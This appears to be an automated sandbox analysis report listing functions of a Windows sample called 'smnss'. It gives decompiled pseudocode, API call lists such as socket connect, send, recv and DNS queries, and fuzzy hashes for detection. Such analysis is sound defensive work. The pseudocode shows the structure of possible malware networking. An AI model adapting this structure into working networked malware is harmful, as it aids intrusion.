lstrcat.KERNEL32 ref: 004029BC

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: c7907f78dd4b6c3bfded88944c0364dafe3047d152eeae0759b5d43392e068e0
Instruction ID: 058901da40b0e2efb01319e0cab41814326d79342e400853ca70bd999cd91e9a
Opcode Fuzzy Hash: c7907f78dd4b6c3bfded88944c0364dafe3047d152eeae0759b5d43392e068e0
Instruction Fuzzy Hash: AE21EE759143148BC710EF64D98169EBBF4FB84314F00897FE5C5A3241EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402D1F Relevance: 5.1, APIs: 4, Instructions: 55stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402D33
lstrcat.KERNEL32 ref: 00402D4D

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402D75
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402D97

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: 40d5dfbe96bdecb796aaa34a7dd6d3549258d3836627088837006e3877349a2e
Instruction ID: c94e486dd441945c80f89e6855cf6e362e59878be9d52d1e169f04df5a17e1bb
Opcode Fuzzy Hash: 40d5dfbe96bdecb796aaa34a7dd6d3549258d3836627088837006e3877349a2e
Instruction Fuzzy Hash: 8521ECB69143148BCB10EF64D9816DEBBF4BB84314F40857FE589A3241EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 0040285D Relevance: 5.1, APIs: 4, Instructions: 54stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402871
lstrcat.KERNEL32 ref: 0040288B

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 004028B3
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 004028D5

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: ce68201f3b84c2ea9f74e854b810ce6d8e2cbb5c2055fd0f9bb2a979559c073d
Instruction ID: a2a94c62469e04ea526b3170561a4d1959144f6524308fe89c3ba5c1d6912741
Opcode Fuzzy Hash: ce68201f3b84c2ea9f74e854b810ce6d8e2cbb5c2055fd0f9bb2a979559c073d
Instruction Fuzzy Hash: 2F21ED769043048BC710EF64D9815CEBBF4FB84314F40857FE985A3241EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405F6A Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00409230: ??3@YAXPAX@Z.MSVCRT ref: 00409240

Part of subcall function 004060AA: DnsQuery_A.DNSAPI ref: 004060E7
Part of subcall function 004060AA: GetProcessHeap.KERNEL32 ref: 0040610A
Part of subcall function 004060AA: RtlAllocateHeap.NTDLL ref: 00406122
Part of subcall function 004060AA: lstrcpy.KERNEL32 ref: 00406144
Part of subcall function 004060AA: GlobalFree.KERNEL32 ref: 00406182

GetProcessHeap.KERNEL32 ref: 00406049
HeapFree.KERNEL32 ref: 00406060

Part of subcall function 0040619A: memset.MSVCRT ref: 004061C4
Part of subcall function 0040619A: GetSystemTime.KERNEL32 ref: 00406249
Part of subcall function 0040619A: wsprintfA.USER32 ref: 004062BD
Part of subcall function 0040619A: socket.WS2_32 ref: 004062D9
Part of subcall function 0040619A: htons.WS2_32 ref: 004062F9
Part of subcall function 0040619A: inet_addr.WS2_32 ref: 0040630B
Part of subcall function 0040619A: gethostbyname.WS2_32 ref: 00406321
Part of subcall function 0040619A: connect.WS2_32 ref: 0040634D

Strings

j_@, xrefs: 00405FD2

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Heap$FreeProcess$??3@AllocateGlobalQuery_SystemTimeconnectgethostbynamehtonsinet_addrlstrcpymemsetsocketwsprintf
String ID: j_@
API String ID: 947717930-4059994095
Opcode ID: 9c543dd4ae2d1a579bc1153be0ff5262257ddce23cdcbf64857ad303beb8dd8f
Instruction ID: 3a82dccbd2dd31cd78637e7a3e29cff02491936a1f1bbf5eed974e596509a0e2
Opcode Fuzzy Hash: 9c543dd4ae2d1a579bc1153be0ff5262257ddce23cdcbf64857ad303beb8dd8f
Instruction Fuzzy Hash: C741A374A047099FCB10DFA9C48069EFBF1FF88314F15862AE864A7395D3349886CF85

Uniqueness

Uniqueness Score: -1.00%

Function 004081D8 Relevance: 4.5, APIs: 3, Instructions: 48fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32 ref: 00408202
ReadFile.KERNEL32 ref: 00408240
SetFilePointer.KERNEL32 ref: 0040828A

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$Pointer$Read
String ID:
API String ID: 2010065189-0
Opcode ID: 98bbd356c3167e2cab6cdd34103aca9027d91ebdbeeba2350e71e45c4cb0b634
Instruction ID: 2fc028183e425e45779f901a37d6f7d52457d7c17fe6e1465a33136023a7a73b
Opcode Fuzzy Hash: 98bbd356c3167e2cab6cdd34103aca9027d91ebdbeeba2350e71e45c4cb0b634
Instruction Fuzzy Hash: 69111FF04083049FD710AF15C9843AFBBF4EB84354F00C8AEE98867281D7798589CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405434 Relevance: 4.5, APIs: 3, Instructions: 44
networkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405434(signed int __eax, void* __ebx, signed int _a4, signed short _a8) {
				void* _v8;
				intOrPtr _v24;
				signed int _v26;
				char _v28;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _v84;
				signed int _t21;
				intOrPtr _t23;
				signed int _t24;
				signed int _t26;
				void* _t29;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr* _t32;

				_t30 = _t29 - 0x34;
				_v40 = 0;
				_v44 = 0;
				_v48 = 0;
				_v52 = 6;
				_v56 = 1;
				 *_t30 = 2; // executed
				L004086F0(); // executed
				_t31 = _t30 - 0x18;
				_t26 = __eax;
				_t28 = 0xffffffff;
				if(__eax != 0xffffffff) {
					_t21 = _a8 & 0x0000ffff;
					_v84 = _t21;
					L004086F8();
					_t32 = _t31 - 4;
					_v26 = _t21;
					_v28 = 2;
					 *_t32 = _a4; // executed
					_t23 = E004053C2(_a4, 0xffffffff); // executed
					_v24 = _t23;
					_v64 = 0;
					_v68 = 0;
					_v72 = 0;
					_v76 = 0;
					_v80 = 0x10;
					_t24 =  &_v28;
					_v84 = _t24;
					 *_t32 = _t26; // executed
					L00408700(); // executed
					_t28 = 0xffffffff;
					if(_t24 != 0xffffffff) {
						_t28 = _t26;
					}
				}
				return _t28;
			}

0x00405438
0x0040543b
0x00405443
0x0040544b
0x00405453
0x0040545b
0x00405463
0x0040546a
0x0040546f
0x00405472
0x00405474
0x0040547c
0x0040547e
0x00405482
0x00405485
0x0040548a
0x0040548d
0x00405491
0x0040549a
0x0040549d
0x004054a2
0x004054a5
0x004054ad
0x004054b5
0x004054bd
0x004054c5
0x004054cd
0x004054d0
0x004054d4
0x004054d7
0x004054df
0x004054e7
0x004054e9
0x004054e9
0x004054e7
0x004054f1

APIs

WSASocketA.WS2_32 ref: 0040546A
htons.WS2_32 ref: 00405485

Part of subcall function 004053C2: gethostbyname.WS2_32(00000000), ref: 004053D7
Part of subcall function 004053C2: inet_addr.WS2_32 ref: 004053E8
Part of subcall function 004053C2: memcpy.MSVCRT ref: 00405423

WSAConnect.WS2_32 ref: 004054D7

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ConnectSocketgethostbynamehtonsinet_addrmemcpy
String ID:
API String ID: 627762279-0
Opcode ID: 09995997a13e2706ebe61a9ccba4db5e1a5a1ff8fa6b056a3c85ac2860e8b966
Instruction ID: 4ae3107c3b65c64df90930ed9eb0b1ead9faca9bbcd06d8d2a5bcce3cf5a65bf
Opcode Fuzzy Hash: 09995997a13e2706ebe61a9ccba4db5e1a5a1ff8fa6b056a3c85ac2860e8b966
Instruction Fuzzy Hash: ED1118B05047059BD700EF69C58935FBBF0AF44328F108A2DE4A89B3D2E7B9C5498B97

Uniqueness

Uniqueness Score: -1.00%

Function 004053C2 Relevance: 4.5, APIs: 3, Instructions: 41networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32(00000000), ref: 004053D7
inet_addr.WS2_32 ref: 004053E8
memcpy.MSVCRT ref: 00405423

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: gethostbynameinet_addrmemcpy
String ID:
API String ID: 1740921095-0
Opcode ID: 72382a04d42c95dc0bf349da0dcbe25555a1a130193f30e7f77d4bb4e3bae5a7
Instruction ID: 533992feeedd80a0f3e016846fddd558e4e21ba974aaa263bb38accae91cd44b
Opcode Fuzzy Hash: 72382a04d42c95dc0bf349da0dcbe25555a1a130193f30e7f77d4bb4e3bae5a7
Instruction Fuzzy Hash: 60017875904B049BDB00AFA9D18129FBBB4EF04360F00857EEC94A7380E7389644CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00402DAE Relevance: 3.8, APIs: 3, Instructions: 46stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402DC2
lstrcat.KERNEL32 ref: 00402DDC
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402DF6

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedHandleInternetLibraryLoadModuleSleepState
String ID:
API String ID: 2287753751-0
Opcode ID: 3d7b2104f46c5867246ff3b280b263c61d79655f97bdd0cfd84f8f7af394f4eb
Instruction ID: f6c9bb9882ed78d28a60f598887051e8036adc664b5fe914478a66c114e9a78a
Opcode Fuzzy Hash: 3d7b2104f46c5867246ff3b280b263c61d79655f97bdd0cfd84f8f7af394f4eb
Instruction Fuzzy Hash: 6F11DD76D043198BCB11EF64D9806CEBBF4EB44314F40857BE885A3240EB349A88CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00409250 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409250(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				intOrPtr _v84;
				intOrPtr* _v88;
				void* _t31;
				intOrPtr* _t35;
				intOrPtr* _t36;
				intOrPtr* _t37;
				void* _t51;
				intOrPtr* _t52;

				_t47 = __esi;
				_t45 = __edi;
				_t52 = _t51 - 0x58;
				_v36 =  &_v16;
				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_v44 = E00408B60;
				_v40 = 0x40c53c;
				_v32 = 0x4092f0;
				_v28 = _t52;
				 *_t52 =  &_v68;
				E0040B460(__ebx, __edi, __esi);
				_t41 = _a4;
				if(_a4 == 0) {
					_a4 = 1;
				}
				_v64 = 1;
				 *_t52 = _a4; // executed
				while(1) {
					_t31 = malloc(); // executed
					_v72 = _t31;
					if(_t31 != 0) {
						break;
					}
					_t35 =  *0x418220;
					if(_t35 == 0) {
						 *_t52 = 4;
						_t36 = E0040A600(_t41, _t45, _t47);
						 *_t36 = 0x413524;
						_v84 = E0040ADD0;
						_v88 = 0x4132d8;
						 *_t52 = _t36;
						_v64 = 1;
						E0040A510();
						0;
						0;
						_t37 = _v88;
						 *_t37 = 0x413554;
						return _t37;
					} else {
						_v64 = 1;
						 *_t35();
						 *_t52 = _a4;
						continue;
					}
					L9:
				}
				 *_t52 =  &_v68;
				E0040B540(_t41);
				return _v72;
				goto L9;
			}

0x00409250
0x00409250
0x00409256
0x00409259
0x0040925f
0x00409262
0x00409265
0x00409268
0x0040926f
0x00409276
0x0040927d
0x00409280
0x00409283
0x00409288
0x0040928d
0x0040928f
0x0040928f
0x00409296
0x004092a0
0x004092a3
0x004092a3
0x004092a8
0x004092ad
0x00000000
0x00000000
0x004092af
0x004092b6
0x0040931f
0x00409326
0x0040932b
0x0040933b
0x0040933f
0x00409343
0x00409346
0x0040934d
0x00409358
0x0040935c
0x00409363
0x00409366
0x0040936d
0x004092b8
0x004092b8
0x004092bf
0x004092c4
0x00000000
0x004092c4
0x00000000
0x004092b6
0x004092d3
0x004092d6
0x004092ea
0x00000000

APIs

malloc.MSVCRT ref: 004092A3

Strings

\4A, xrefs: 00409336

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: malloc
String ID: \4A
API String ID: 2803490479-538348599
Opcode ID: 0ecb6c02a4a81a0dfcfe540c973c35517d86ffe538936b2e6484bce162824ce1
Instruction ID: 338b94403b559ad32af1281e798f3fe943d33952d28f1ae2ce1afebc3db5e29d
Opcode Fuzzy Hash: 0ecb6c02a4a81a0dfcfe540c973c35517d86ffe538936b2e6484bce162824ce1
Instruction Fuzzy Hash: 052174B0904308AFCB00EFA5D48469DBBF4EF48304F10846EE848B7391D779AA858F99

Uniqueness

Uniqueness Score: -1.00%

Function 00406788 Relevance: 3.0, APIs: 2, Instructions: 30
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00406788(intOrPtr __eax, intOrPtr _a4, void* _a8) {
				void* _v12;
				signed int _v20;
				intOrPtr _v24;
				void* _v28;
				void* __ebx;
				signed int _t11;
				void* _t13;
				signed int _t14;
				intOrPtr _t15;
				void* _t16;
				intOrPtr* _t18;
				intOrPtr* _t19;

				_t15 = _a4;
				_t13 = _a8;
				_v28 = _t13;
				L0040C310();
				_t18 = _t16 - 0xc;
				_v20 = 0;
				_v24 = __eax;
				_v28 = _t13;
				 *_t18 = _t15; // executed
				L004086B0(); // executed
				_t19 = _t18 - 0x10;
				_t14 = 0;
				if(__eax != 0xffffffff) {
					 *_t19 = _t15; // executed
					_t11 = E004067E0(_t13); // executed
					_t14 = (_t11 & 0xffffff00 | _t11 != 0x00000000) & 0x000000ff;
				}
				return _t14;
			}

0x00406790
0x00406793
0x00406796
0x00406799
0x0040679e
0x004067a1
0x004067a9
0x004067ad
0x004067b1
0x004067b4
0x004067b9
0x004067bc
0x004067c4
0x004067c6
0x004067c9
0x004067d3
0x004067d3
0x004067de

APIs

lstrlen.KERNEL32 ref: 00406799
send.WS2_32 ref: 004067B4

Part of subcall function 004067E0: memset.MSVCRT ref: 00406803
Part of subcall function 004067E0: recv.WS2_32 ref: 00406822

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrlenmemsetrecvsend
String ID:
API String ID: 143015417-0
Opcode ID: 64f3036a1304532fd11ddc15260a1a0bfd3c6ba831a69424d48f66fe568b7478
Instruction ID: 733846b08a7c5bdcc0cdb356ef5a0cb63b3653caa26ad0d2a3361f3627c8c98c
Opcode Fuzzy Hash: 64f3036a1304532fd11ddc15260a1a0bfd3c6ba831a69424d48f66fe568b7478
Instruction Fuzzy Hash: 14F082B14046149BD7007F39858129EBFA8EB44364F01892EFC9857381D23895A48B87

Uniqueness

Uniqueness Score: -1.00%

Function 00406746 Relevance: 3.0, APIs: 2, Instructions: 21
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406746(intOrPtr __eax, void* __ebx, signed int _a4, char _a8) {
				void* _v8;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t10;
				char _t14;
				void* _t16;

				_t14 = _a8;
				_v28 = _t14;
				L0040C310();
				_v20 = 0;
				_v24 = __eax;
				_v28 = _t14;
				_t10 = _a4;
				 *(_t16 - 0x10) = _t10; // executed
				L004086B0(); // executed
				return (_t10 & 0xffffff00 | _t10 != 0xffffffff) & 0x000000ff;
			}

0x0040674d
0x00406750
0x00406753
0x0040675b
0x00406763
0x00406767
0x0040676b
0x0040676e
0x00406771
0x00406786

APIs

lstrlen.KERNEL32 ref: 00406753
send.WS2_32 ref: 00406771

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrlensend
String ID:
API String ID: 3675724601-0
Opcode ID: 4596fd79a178152386b019210505c03ec421048c3d1915dd7ee1024b0ca98cdf
Instruction ID: c846b107f3f1a2141a7c6589b1a339cb802b571a108294725e9730d51bc6006b
Opcode Fuzzy Hash: 4596fd79a178152386b019210505c03ec421048c3d1915dd7ee1024b0ca98cdf
Instruction Fuzzy Hash: 57E01AB1504304AFCB00FF39C1C655EBBE4AB442A8F418A6DEC9897282D238D6848B52

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED6 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00404EEA
fclose.MSVCRT ref: 00404EFB

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: fclosefopen
String ID:
API String ID: 1280645193-0
Opcode ID: 429d1b8ceeac033c6138de599bbc2d91f808f27fb31b9c1f96d5dbdd3f36766e
Instruction ID: 620b73777646bea3160a61964eb414d400b49bbe5014070f778a9d056a582589
Opcode Fuzzy Hash: 429d1b8ceeac033c6138de599bbc2d91f808f27fb31b9c1f96d5dbdd3f36766e
Instruction Fuzzy Hash: 69D05E74204300D7E7007F79988530A7AD49B80308F00883DA980EF3C6EA79D8448B45

Uniqueness

Uniqueness Score: -1.00%

Function 00401280 Relevance: 3.0, APIs: 2, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E00401280() {
				void* _t4;
				intOrPtr* _t5;
				intOrPtr* _t8;

				 *_t8 = 1;
				 *0x41949c();
				E00401150();
				_t5 = _t8;
				 *((intOrPtr*)(_t8 - 8)) = 2;
				 *0x41949c(_t4); // executed
				E00401150(); // executed
				_push(_t5);
				goto __ecx;
			}

0x00401286
0x0040128d
0x00401293
0x004012a1
0x004012a6
0x004012ad
0x004012b3
0x004012c0
0x004012ca

APIs

__set_app_type.MSVCRT ref: 0040128D

Part of subcall function 00401150: SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
Part of subcall function 00401150: __getmainargs.MSVCRT ref: 0040119E
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011D8
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011FC
Part of subcall function 00401150: __p__fmode.MSVCRT ref: 00401210
Part of subcall function 00401150: __p__environ.MSVCRT ref: 0040122A
Part of subcall function 00401150: _cexit.MSVCRT ref: 0040124D
Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401255
Part of subcall function 00401150: _setmode.MSVCRT ref: 0040126F

__set_app_type.MSVCRT ref: 004012AD

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
